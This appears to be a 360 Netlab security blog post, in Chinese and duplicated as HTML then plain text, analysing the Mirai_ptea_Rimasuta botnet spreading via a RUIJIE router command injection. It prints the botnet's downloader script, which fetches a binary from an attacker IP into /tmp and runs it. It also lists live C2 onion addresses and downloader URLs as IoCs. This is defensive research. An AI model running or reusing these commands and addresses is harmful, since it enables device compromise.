<img src="__GHOST_URL__/content/images/2021/09/xxxpppasdfadfkafjadf.png" alt="xxxpppasdfadfkafjadf" loading="lazy"></p>
<p>上图中的URL对应的文件内容如下所示，第一眼看上去，有点奇怪，因为它使用了许多空的变量来迷惑安全分析人员。</p>
<pre><code>v=.rib;
cd ${ENrjHs}/t${hSQGxia}mp;
wg${qyZuBCTFDSMnw}et http://2[.56.244.121/gkTHLPZAAsmP -O ${v};
chm${mBSVmBhyrCQcZ}od +x ${v};
./${v};
</code></pre>
<p>当去除这些变量后，它的功能就很直观了：下载样本，执行。</p>
<pre><code>
v=.rib;
cd /tmp;
wget http://2.56.244.121/gkTHLPZAAsmP -O ${v};
chmod +x ${v};
./${v};
</code></pre>
<h1 id="bot">Bot规模分析</h1>
<p>从我们的数据视野看，该僵尸网络的活跃Bot源IP趋势如下：<br>
<img src="__GHOST_URL__/content/images/2021/09/rimasuta.bot.ip.line.png" alt="rimasuta.bot.ip.line" loading="lazy"></p>
<p>Bot源IP地理位置分布如下：<br>
<img src="__GHOST_URL__/content/images/2021/09/rimasuta.bot.ip.geo-1.png" alt="rimasuta.bot.ip.geo-1" loading="lazy"></p>
<h1 id="">样本分析</h1>
<p>本文选取ARM架构的样本为主要分析对象，它的基本信息如下所示：</p>
<pre><code>MD5:b01b0bc32469f11a47d6e54eef8c7ffb
ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
Packer:No
Lib:uclibc
</code></pre>
<p>众知周知Mirai_ptea_Rimasuta是一个Mirai变种，它重新设计了加密算法和C2通信。在加密算法方面，Mirai_ptea_Rimasuta通过使用TEA算法代替Mirai简单的XOR加密，大量的敏感的资源信息如C2，Tor Proxy等都是加密存储在样本中的；在C2通信方面，Mirai_ptea_Rimasuta使用Tor Proxy间接和C2建立通信。这部分的详细信息，感兴趣的读者可以参考我们上一篇Blog，本文着重关注此次活动样本的一些变化。</p>
<h3 id="0x1tea">0x1: TEA密钥</h3>
<p>此次活动的Mirai_ptea_Rimasuta样本，硬编码了2组TEA密钥，一组用于加&解敏感资源，一组用于加&解密网络流量，为了区分，我们将前者称之为Res_teakey，后者为Net_teakey。</p>
<p><code>Res_teakey</code>如下所示：</p>
<img src="__GHOST_URL__/content/images/2021/09/masu_reskey.png" width="860px" />
<p>部分资源信息解密后如下所示，注意index c的内容，<code>This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe</code>。</p>
<pre><code>index 0, value = /proc/
index 1, value = /exe
index 2, value = /fd
index 3, value = /proc/net/tcp
index 4, value = /cmdline
index 5, value = /status
index 6, value = /maps
index 7, value = /dev
index 8, value = /dev/misc
index 9, value = /dev/misc/watchdog
index a, value = /dev/watchdog
index b, value = watchdog
index c, value = This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe
</code></pre>
<p>当第一次看到这项内容时，我们的反应是黑人问号脸。借此机会，我们只想对Mirai_ptea_Rimasuta的作者说，“好好加油，努力让我们惊艳，或许我们真会写个PPT来专门讨论你”，LOL。</p>
<p><code>Net_teakey</code>如下所示：<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_netkey.png" width="860px" /><br>
实际上它并没有被使用，只是充当占位符，Mirai_ptea_Rimasuta在运行时会动态生成新的Net_teakey，这部分的内容将在下文的网络协议部分论述。</p>
<h3 id="0x2">0x2: 环境检测</h3>
<p>大量沙箱或模拟器在处理样本时，会将样本存放在一个固定的路径并以MD5或随机字串命名。Mirai_ptea_Rimasuta通过已下代码片段来检测样本运行时的路径&文件名，只有符合要求才会进入真正的逻辑，否则就退出，这是一种非常明显的对抗。<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_check.png" alt="masu_check" loading="lazy"><br>
以下为部分“合法运行路径”</p>
<pre><code>./.rib
/XXriXX
</code></pre>
<h3 id="0x3c2">0x3: C2变化</h3>
<p>Mirai_ptea_Rimasuta通过以下代码片段来获取Tor C2，可以看出C2在加密资源中的表项为0xD，一共有6个C2(random mod 6)。<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_c2.png" width="860px" /><br>
0xD中的加密信息解密后如下所示：</p>
<pre><code>index d, value = uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqdwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqdt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkadrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivydvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqdpnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion
</code></pre>
<p>将上面字串排除尾部的“.onion”后以长度56分割，然后和尾部的.onion字串进行拼接，就得到了以下6个C2，这6个C2和样本中硬编码6个的port存在一一对应关系。</p>
<pre><code>uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346
wrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288
t5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774
rg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000
vmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644
pnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409
</code></pre>
<h3 id="0x4">0x4: 网络协议变化</h3>
<p>此次活动的Mirai_ptea_Rimasuta样本对网络流量也开始使用TEA算法加密，虽然在样本中存有一组硬编码的密钥Net_teakey，但实际中并没有使用，而是通过和C2协商动态生成的新的密钥。Net_teakey由4个4字节数据组成，下文将以Net_teakey[下标]的方式表示其中的某一项。</p>
<p>整个通信过程可以分成以下3步：</p>
<p>Stage 1. 和通过TOR PROXY和TOR C2建立通信<br>
Stage 2. TEA密钥协商<br>
Stage 3. 接收C2下发的指令，注意此时流量都已加密</p>
<p>其中的重点在第2步密钥协商，以下图实际产生的数据流量为例，我们将一步一步论述Bot&C2是如何得到相同的密钥。</p>
<img src="__GHOST_URL__/content/images/2021/09/masu_packet.png" width="860px" />
<p>Stage1是典型的和TOR C2建立通信的过程，此处不再赘述。从Stage2开始，Mirai_ptea_Rimasuta的数据包由<code>head(2bytes),hash(4bytes),content(Nbytes)</code>3部分组成，其中head的值在一次会话中是固定，hash的值由附录中的hash_calc函数对content计算而来。</p>
<p>整个协商过程如下所示：</p>
<ol>
<li>
<p>Bot随机生成12个字符，使用附录中的hash_calc算法，得到Net_teakey[0]的值。此时Bot有Net_teakey[0]，C2不知道任何Net_teakey的值。<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_ag1.png" width="860px" /></p>
</li>
<li>
<p>Bot随机化8个字符构成content，使用hash_calc计算content得到hash，并把hash值的低16位放到head中，然后将这个包长为14字节的数据包发给C2，最后通过hash_calc计算整个包得到Net_teakey[2]值，此时Bot有Net_teakey[0,2]，C2有Net_teakey[2]。<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_ag2.png" width="860px" /></p>
</li>
<li>
<p>C2回包给Bot，其中的hash的值供第4步中使用。</p>
</li>
<li>
<p>Bot收到C2的回包后，将本地IP，第1步中的随机字符等信息构成content，使用TEA算法（Res_teakey为密钥）加密，构造好长度为32字节的数据包发算给C2，其中hash的值就是Net_teakey[1]，最后把第3步的C2 hash与自己的Bot hash通过hash_calc计算，到是Net_teakey[3]。此时Bot已经知道Net_teakey中的4个值了，获得顺序为[0,2,1,3]。<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_ag4.png" width="860px" /></p>
</li>
<li>
<p>C2收到Bot的包后，首先能到Net_teakey[1]，然后通过hash_calc计算得到Net_teakey[3]，最后解密content得到Bot在第1步中使用的12个字串，再通过hash_calc计算到得Net_teakey[0]。此时C2也知道了Net_teakey中的4个值，获得顺序为[2,1,3,0]。</p>
</li>
</ol>
<p>至此协商过程结束，Bot&C2的后续通信使用密钥为Net_teakey的TEA算法加&解密。<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_netenc.png" width="860px" /></p>
<h3 id="0x5">0x5: 信息收集功能</h3>
<p>此次活动的Mirai_ptea_Rimasuta样本会监控被侵入设备的TCP网络连接情况，并将符合特定要求的连接明细上传到Reporter。我们认为Mirai_ptea_Rimasuta的作者会依托其这部分收集到的信息，进行<strong>数据挖掘</strong>。</p>
<p>具体实现过程可以分成以下几步：</p>
<ol>
<li>
<p>通过/proc/net/tcp获取当前TCP网络连接的inode信息，以及网络连接的状态State信息</p>
</li>
<li>
<p>通过/proc/[pid]/fd获取的socket inode，和第1步中的inode进行匹配，得到相应的进程</p>
</li>
<li>
<p>通过/proc/[pid]/cmdline获取第2步中的进程的cmdline信息</p>
</li>
<li>
<p>如果网络连接的State为"established"且cmdline中有"wget" 字串时，则将此进程的cmdline，以及网络通信的远端地址&端口上报给Reporter。</p>
</li>
<li>
<p>如果网络连接的State为“listen”，本地端口为"3451,8888,17872,9137"其中的一个，且有进程和此进程建立了连接，则将此进程的cmdline，以及网络通信的远端地址&端口上报给Reporter。</p>
</li>
<li>
<p>如果网络连接的State不是“established,listen”中的一个时，将此进程的cmdline，以及网络通信的远端地址&端口上报给Reporter。</p>
</li>
</ol>
<p>其中通过下以代码片段和Reporter建立通信，其中Reporter解密后的内容为<code>gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion</code>。<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_report.png" alt="masu_report" loading="lazy"></p>
<p>当成功和Reporter建立通信后，通过以下代码片段构建要上报的信息。<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_repdata.png" width="860px" /></p>
<p>实际中产生的Report数据包，以及各字段含义如下所示：</p>
<pre><code>RAW packet
00000000: 5A A5 90 D9 F9 37 B4 D6 00 AC 1E 01 09 3A 77 67 Z....7.......:wg
00000010: 65 74 20 2D 71 20 2D 4F 20 2D 20 68 74 74 70 3A et -q -O - http:
00000020: 2F 2F 69 63 6D 70 2E 64 76 72 69 6E 73 69 64 65 //icmp.dvrinside
00000030: 2E 63 6F 6D 3A 39 30 30 30 2F 47 65 74 50 75 62 .com:9000/GetPub
00000040: 6C 69 63 4E 61 6D 65 20 licName
----------------------------------------------------------------------------
Field parsing
5A A5 ----> magic, 2bytes
90 D9 F9 37 ----> remote ip, 4 bytes
B4 D6 ----> remote port, 2 bytes
00 ----> hardcode, 1 byte
AC 1E 01 09 ----> local ip
3A ----> length of "cmdline"
77 67 ..to end ----> cmdline
</code></pre>
<h1 id="">处置建议</h1>
<p>我们建议RUIJIE路由器用户及时检查并更新固件系统。为Web管理接口设置复杂登陆密码。</p>
<h1 id="">联系我们</h1>
<p>感兴趣的读者，可以在<a href="https://twitter.com/360Netlab">twitter</a>或者在微信公众号 360Netlab上联系我们。</p>
<h1 id="ioc">IoC</h1>
<h3 id="downloader">Downloader</h3>
<pre><code>http://2[.56.244.121/tuPuSSbAxXIW
http://2[.56.244.121/gkTHLPZAAsmP
http://2[.56.244.121/VqIXrFxAGpPD
http://2[.56.244.157/qSdYKoxbZakW
http://2[.56.244.157/iZXPWXshhRRt
http://2[.56.244.157/vnlWcwcBunwk
http://2[.56.244.157/IAqecfTrQwQF
http://2[.56.244.157/bwgFHtUOGJcv
http://2[.56.244.121/KaoJHwKMBiAJ
http://2[.56.244.157/yhZyIAclbmhD
http://2[.56.244.157/PszBtRNfnzBO
http://2[.56.244.157/SywXQrWdNIrM
http://2[.56.244.157/awfLWTOmgxTX
http://2[.56.244.157/zEkFejmPQeVR
http://91[.211.91.56/mIoCinspKSkE
http://91[.211.89.242/vkvTxquhFCGV
http://91[.211.88.220/OOGRLHgUnshR
</code></pre>
<h3 id="samplemd5">Sample MD5</h3>
<pre><code>b01b0bc32469f11a47d6e54eef8c7ffb
1a5329dcda994df16e6896f870f04f5e
344df0446b8b40588ca5e72ad3ef7217
777792d3df3f1850fa667b4afbb2cfc1
a6ddfec272fbf867a4cf3c154eaf47aa
904cbd20a5996125f91f9c7c02ca9bbd
</code></pre>
<h3 id="c2">C2</h3>
<pre><code>uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346
wrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288
t5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774
rg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000
vmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644
pnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409
</code></pre>
<h3 id="reporter">Reporter</h3>
<pre><code>gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6667
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6668
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6669
</code></pre>
<h3 id="">附录</h3>
<pre><code>----------------------------------------------------------------------
RAW packet
#00000048 99 9f 29 9c 9f 99 72 53 4b 7f e9 08 7c 9b ..)...rS K...|.
# head 99 9f
# hash 29 9c 9f 99
# content 72 53 4b 7f e9 08 7c 9b
----------------------------------------------------------------------
def hash_calc(buf,len):
cnt=len>>2
cnt2=len&3
sum=len
for i in range(0,cnt*4,4):
tmp=((ord(buf[i+1])<<8)+ord(buf[i])+sum)
tmp2=(tmp^(((ord(buf[i+3])<<8)+ord(buf[i+2]))<<11)&0xffffffff)^((tmp<<16)&0xffffffff)
sum=(tmp2+(tmp2>>11))&0xffffffff
if cnt2==3:
tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff
tmp2=tmp^((ord(buf[cnt*4+2])<<18)&0xffffffff)^((tmp<<16)&0xffffffff)
sum=(tmp2+(tmp2>>11))&0xffffffff
elif cnt2==2:
tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff
sum=(tmp^(tmp<<11)&0xffffffff)+((tmp^(tmp<<11)&0xffffffff)>>17)
elif cnt2==1:
tmp=(((ord(buf[cnt*4])+sum)<<10)&0xffffffff)^ (ord(buf[cnt*4])+sum)
sum=(tmp+(tmp>>1))&0xffffffff
else:
pass
tmp3=(sum^(sum*8)&0xffffffff)+((sum^(8*sum)&0xffffffff)>>5)
tmp4=(tmp3^(16*tmp3)&0xffffffff)+((tmp3^(16*tmp3)&0xffffffff)>>17)
final=(tmp4^(tmp4<<25)&0xffffffff)+((tmp4^(tmp4<<25)&0xffffffff)>>6)
return final&0xffffffff
content='''
72 53 4b 7f e9 08 7c 9b
'''.replace(' ', '').replace('\n','').decode('hex')
print hex(hash_calc(content,len(content)))
</code></pre>
<!--kg-card-end: markdown--> | 版权
版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
概述
2021年7月我们向社区公布了一个通过KGUARD DVR未公开漏洞传播的僵尸网络Mirai_ptea，一开始我们认为这是一个生命短暂的僵尸网络，不久就会消失不见，因此只给了它一个通用的名字。但很显然我们小看了这个家族背后的团伙，事实上该家族一直非常活跃，最近又观察到该家族正在利用RUIJIE NBR700系列路由器的在野0day漏洞传播。
比较有意思的是，该家族的作者曾经在某次更新的样本中加入了这么一段话吐槽我们的mirai_ptea命名：
-_- you guys didnt pick up on the name? really??? its ``RI-MA-SU-TA``. not MIRAI_PTEA this is dumb name.
出于对作者的"尊重"，以及对该团伙实力的重新评估，我们决定将其命名为Mirai_ptea_Rimasuta。
不同于大多数Mirai/Gafgyt僵尸网络惯用的telnet弱口令传播，Mirai_ptea_Rimasuta偏爱0day，短短的时间内就发现使用2个漏洞来传播，这说明其背后的团伙有比较强的漏洞发现&整合能力。Mirai_ptea_Rimasuta目前样本在不停的迭代开发中，处于非常活跃的状态，此次活动Rimasuta已经开始对抗沙箱的自动化运行，并将网络流量加密以对抗网络层面的检测，这说明其背后的团伙有比较强的编码创新能力。
从团伙画像的角度来看，Mirai_ptea_Rimasuta的作者性格跳脱，喜欢在样本中留下“彩蛋”和安全研究人员进行互动，或许我们和他之间的“战争”将持续非常长时间。
时间线
* 2021-06-10 另一个mirai变种mirai_aurora首先利用此漏洞传播
* 2021-09-05 我们首次捕获到利用此漏洞传播的Mirai_ptea_Rimasuta样本，这之前Mirai_ptea_Rimasuta很可能利用这个漏洞在传播了
* 2021-09-06 我们向厂商通报了漏洞情况
* 2021-09-09 厂家确认漏洞存在，并告知已经停止维护这个版本的设备，厂家认为可以通过修改默认密码缓解，所以不打算提供新的补丁修复漏洞。
漏洞利用分析
漏洞类型
需授权命令注入漏洞
漏洞细节
为避免漏洞滥用，我们不公开全部细节。本节说明仅包括部分漏洞利用过程。RUJIE路由器设备上存在一个名为wget_test.asp测试的接口，该接口接受从页面传入的URL进行wget测试(测试功能最终通过一个名为wget_test.sh的脚本实现)，但没有对传入参数进行特殊字符检查，导致命令注入。注意：该接口需要登录认证。但因为RUIJIE路由器同时存在弱口令漏洞，所以攻击者可以将这2个漏洞结合起来发起攻击。根据我们调查，目前在线设备有不少依然存在这个问题。
其中wget_test.sh的内容如下：
#!/bin/sh
while [ 1 ]
do
wget -O /dev/null $1;
sleep 1;
done
已知受影响设备版本
NBR1600GDX9 Release(180516)
RGNBR700GDX5 Release(180202)
RGNBR700GDX5 Release(180314)
RGNBR700GDX9 Release(180720)
RGNBR700GWDX5 Release(180314)
RGNBR700GWDX9 Release(180613)
RGNBR700GWDX9 Release(180720)
RGNBR700GWDX9 Release(191023)
RGNBR900GA1C2 Release(170809)
在野漏洞利用payload分析
部分漏洞利用Payload如下:
上图中的URL对应的文件内容如下所示，第一眼看上去，有点奇怪，因为它使用了许多空的变量来迷惑安全分析人员。
v=.rib;
cd ${ENrjHs}/t${hSQGxia}mp;
wg${qyZuBCTFDSMnw}et http://2[.56.244.121/gkTHLPZAAsmP -O ${v};
chm${mBSVmBhyrCQcZ}od +x ${v};
./${v};
当去除这些变量后，它的功能就很直观了：下载样本，执行。
v=.rib;
cd /tmp;
wget http://2.56.244.121/gkTHLPZAAsmP -O ${v};
chmod +x ${v};
./${v};
Bot规模分析
从我们的数据视野看，该僵尸网络的活跃Bot源IP趋势如下：
Bot源IP地理位置分布如下：
样本分析
本文选取ARM架构的样本为主要分析对象，它的基本信息如下所示：
MD5:b01b0bc32469f11a47d6e54eef8c7ffb
ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
Packer:No
Lib:uclibc
众知周知Mirai_ptea_Rimasuta是一个Mirai变种，它重新设计了加密算法和C2通信。在加密算法方面，Mirai_ptea_Rimasuta通过使用TEA算法代替Mirai简单的XOR加密，大量的敏感的资源信息如C2，Tor Proxy等都是加密存储在样本中的；在C2通信方面，Mirai_ptea_Rimasuta使用Tor Proxy间接和C2建立通信。这部分的详细信息，感兴趣的读者可以参考我们上一篇Blog，本文着重关注此次活动样本的一些变化。
0x1: TEA密钥
此次活动的Mirai_ptea_Rimasuta样本，硬编码了2组TEA密钥，一组用于加&解敏感资源，一组用于加&解密网络流量，为了区分，我们将前者称之为Res_teakey，后者为Net_teakey。
Res_teakey如下所示：
部分资源信息解密后如下所示，注意index c的内容，This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe。
index 0, value = /proc/
index 1, value = /exe
index 2, value = /fd
index 3, value = /proc/net/tcp
index 4, value = /cmdline
index 5, value = /status
index 6, value = /maps
index 7, value = /dev
index 8, value = /dev/misc
index 9, value = /dev/misc/watchdog
index a, value = /dev/watchdog
index b, value = watchdog
index c, value = This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe
当第一次看到这项内容时，我们的反应是黑人问号脸。借此机会，我们只想对Mirai_ptea_Rimasuta的作者说，“好好加油，努力让我们惊艳，或许我们真会写个PPT来专门讨论你”，LOL。
Net_teakey如下所示：
实际上它并没有被使用，只是充当占位符，Mirai_ptea_Rimasuta在运行时会动态生成新的Net_teakey，这部分的内容将在下文的网络协议部分论述。
0x2: 环境检测
大量沙箱或模拟器在处理样本时，会将样本存放在一个固定的路径并以MD5或随机字串命名。Mirai_ptea_Rimasuta通过已下代码片段来检测样本运行时的路径&文件名，只有符合要求才会进入真正的逻辑，否则就退出，这是一种非常明显的对抗。
以下为部分“合法运行路径”
./.rib
/XXriXX
0x3: C2变化
Mirai_ptea_Rimasuta通过以下代码片段来获取Tor C2，可以看出C2在加密资源中的表项为0xD，一共有6个C2(random mod 6)。
0xD中的加密信息解密后如下所示：
index d, value = uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqdwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqdt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkadrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivydvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqdpnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion
将上面字串排除尾部的“.onion”后以长度56分割，然后和尾部的.onion字串进行拼接，就得到了以下6个C2，这6个C2和样本中硬编码6个的port存在一一对应关系。
uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346
wrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288
t5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774
rg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000
vmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644
pnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409
0x4: 网络协议变化
此次活动的Mirai_ptea_Rimasuta样本对网络流量也开始使用TEA算法加密，虽然在样本中存有一组硬编码的密钥Net_teakey，但实际中并没有使用，而是通过和C2协商动态生成的新的密钥。Net_teakey由4个4字节数据组成，下文将以Net_teakey[下标]的方式表示其中的某一项。
整个通信过程可以分成以下3步：
Stage 1. 和通过TOR PROXY和TOR C2建立通信
Stage 2. TEA密钥协商
Stage 3. 接收C2下发的指令，注意此时流量都已加密
其中的重点在第2步密钥协商，以下图实际产生的数据流量为例，我们将一步一步论述Bot&C2是如何得到相同的密钥。
Stage1是典型的和TOR C2建立通信的过程，此处不再赘述。从Stage2开始，Mirai_ptea_Rimasuta的数据包由head(2bytes),hash(4bytes),content(Nbytes)3部分组成，其中head的值在一次会话中是固定，hash的值由附录中的hash_calc函数对content计算而来。
整个协商过程如下所示：
1.
Bot随机生成12个字符，使用附录中的hash_calc算法，得到Net_teakey[0]的值。此时Bot有Net_teakey[0]，C2不知道任何Net_teakey的值。
2.
Bot随机化8个字符构成content，使用hash_calc计算content得到hash，并把hash值的低16位放到head中，然后将这个包长为14字节的数据包发给C2，最后通过hash_calc计算整个包得到Net_teakey[2]值，此时Bot有Net_teakey[0,2]，C2有Net_teakey[2]。
3.
C2回包给Bot，其中的hash的值供第4步中使用。
4.
Bot收到C2的回包后，将本地IP，第1步中的随机字符等信息构成content，使用TEA算法（Res_teakey为密钥）加密，构造好长度为32字节的数据包发算给C2，其中hash的值就是Net_teakey[1]，最后把第3步的C2 hash与自己的Bot hash通过hash_calc计算，到是Net_teakey[3]。此时Bot已经知道Net_teakey中的4个值了，获得顺序为[0,2,1,3]。
5.
C2收到Bot的包后，首先能到Net_teakey[1]，然后通过hash_calc计算得到Net_teakey[3]，最后解密content得到Bot在第1步中使用的12个字串，再通过hash_calc计算到得Net_teakey[0]。此时C2也知道了Net_teakey中的4个值，获得顺序为[2,1,3,0]。
至此协商过程结束，Bot&C2的后续通信使用密钥为Net_teakey的TEA算法加&解密。
0x5: 信息收集功能
此次活动的Mirai_ptea_Rimasuta样本会监控被侵入设备的TCP网络连接情况，并将符合特定要求的连接明细上传到Reporter。我们认为Mirai_ptea_Rimasuta的作者会依托其这部分收集到的信息，进行数据挖掘。
具体实现过程可以分成以下几步：
1.
通过/proc/net/tcp获取当前TCP网络连接的inode信息，以及网络连接的状态State信息
2.
通过/proc/[pid]/fd获取的socket inode，和第1步中的inode进行匹配，得到相应的进程
3.
通过/proc/[pid]/cmdline获取第2步中的进程的cmdline信息
4.
如果网络连接的State为"established"且cmdline中有"wget" 字串时，则将此进程的cmdline，以及网络通信的远端地址&端口上报给Reporter。
5.
如果网络连接的State为“listen”，本地端口为"3451,8888,17872,9137"其中的一个，且有进程和此进程建立了连接，则将此进程的cmdline，以及网络通信的远端地址&端口上报给Reporter。
6.
如果网络连接的State不是“established,listen”中的一个时，将此进程的cmdline，以及网络通信的远端地址&端口上报给Reporter。
其中通过下以代码片段和Reporter建立通信，其中Reporter解密后的内容为gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion。
当成功和Reporter建立通信后，通过以下代码片段构建要上报的信息。
实际中产生的Report数据包，以及各字段含义如下所示：
RAW packet
00000000: 5A A5 90 D9 F9 37 B4 D6 00 AC 1E 01 09 3A 77 67 Z....7.......:wg
00000010: 65 74 20 2D 71 20 2D 4F 20 2D 20 68 74 74 70 3A et -q -O - http:
00000020: 2F 2F 69 63 6D 70 2E 64 76 72 69 6E 73 69 64 65 //icmp.dvrinside
00000030: 2E 63 6F 6D 3A 39 30 30 30 2F 47 65 74 50 75 62 .com:9000/GetPub
00000040: 6C 69 63 4E 61 6D 65 20 licName
----------------------------------------------------------------------------
Field parsing
5A A5 ----> magic, 2bytes
90 D9 F9 37 ----> remote ip, 4 bytes
B4 D6 ----> remote port, 2 bytes
00 ----> hardcode, 1 byte
AC 1E 01 09 ----> local ip
3A ----> length of "cmdline"
77 67 ..to end ----> cmdline
处置建议
我们建议RUIJIE路由器用户及时检查并更新固件系统。为Web管理接口设置复杂登陆密码。
联系我们
感兴趣的读者，可以在twitter或者在微信公众号 360Netlab上联系我们。
IoC
Downloader
http://2[.56.244.121/tuPuSSbAxXIW
http://2[.56.244.121/gkTHLPZAAsmP
http://2[.56.244.121/VqIXrFxAGpPD
http://2[.56.244.157/qSdYKoxbZakW
http://2[.56.244.157/iZXPWXshhRRt
http://2[.56.244.157/vnlWcwcBunwk
http://2[.56.244.157/IAqecfTrQwQF
http://2[.56.244.157/bwgFHtUOGJcv
http://2[.56.244.121/KaoJHwKMBiAJ
http://2[.56.244.157/yhZyIAclbmhD
http://2[.56.244.157/PszBtRNfnzBO
http://2[.56.244.157/SywXQrWdNIrM
http://2[.56.244.157/awfLWTOmgxTX
http://2[.56.244.157/zEkFejmPQeVR
http://91[.211.91.56/mIoCinspKSkE
http://91[.211.89.242/vkvTxquhFCGV
http://91[.211.88.220/OOGRLHgUnshR
Sample MD5
b01b0bc32469f11a47d6e54eef8c7ffb
1a5329dcda994df16e6896f870f04f5e
344df0446b8b40588ca5e72ad3ef7217
777792d3df3f1850fa667b4afbb2cfc1
a6ddfec272fbf867a4cf3c154eaf47aa
904cbd20a5996125f91f9c7c02ca9bbd
C2
uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346
wrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288
t5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774
rg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000
vmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644
pnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409
Reporter
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6667
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6668
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6669
附录
----------------------------------------------------------------------
RAW packet
#00000048 99 9f 29 9c 9f 99 72 53 4b 7f e9 08 7c 9b ..)...rS K...|.
# head 99 9f
# hash 29 9c 9f 99
# content 72 53 4b 7f e9 08 7c 9b
----------------------------------------------------------------------
def hash_calc(buf,len):
cnt=len>>2
cnt2=len&3
sum=len
for i in range(0,cnt*4,4):
tmp=((ord(buf[i+1])<<8)+ord(buf[i])+sum)
tmp2=(tmp^(((ord(buf[i+3])<<8)+ord(buf[i+2]))<<11)&0xffffffff)^((tmp<<16)&0xffffffff)
sum=(tmp2+(tmp2>>11))&0xffffffff
if cnt2==3:
tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff
tmp2=tmp^((ord(buf[cnt*4+2])<<18)&0xffffffff)^((tmp<<16)&0xffffffff)
sum=(tmp2+(tmp2>>11))&0xffffffff
elif cnt2==2:
tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff
sum=(tmp^(tmp<<11)&0xffffffff)+((tmp^(tmp<<11)&0xffffffff)>>17)
elif cnt2==1:
tmp=(((ord(buf[cnt*4])+sum)<<10)&0xffffffff)^ (ord(buf[cnt*4])+sum)
sum=(tmp+(tmp>>1))&0xffffffff
else:
pass
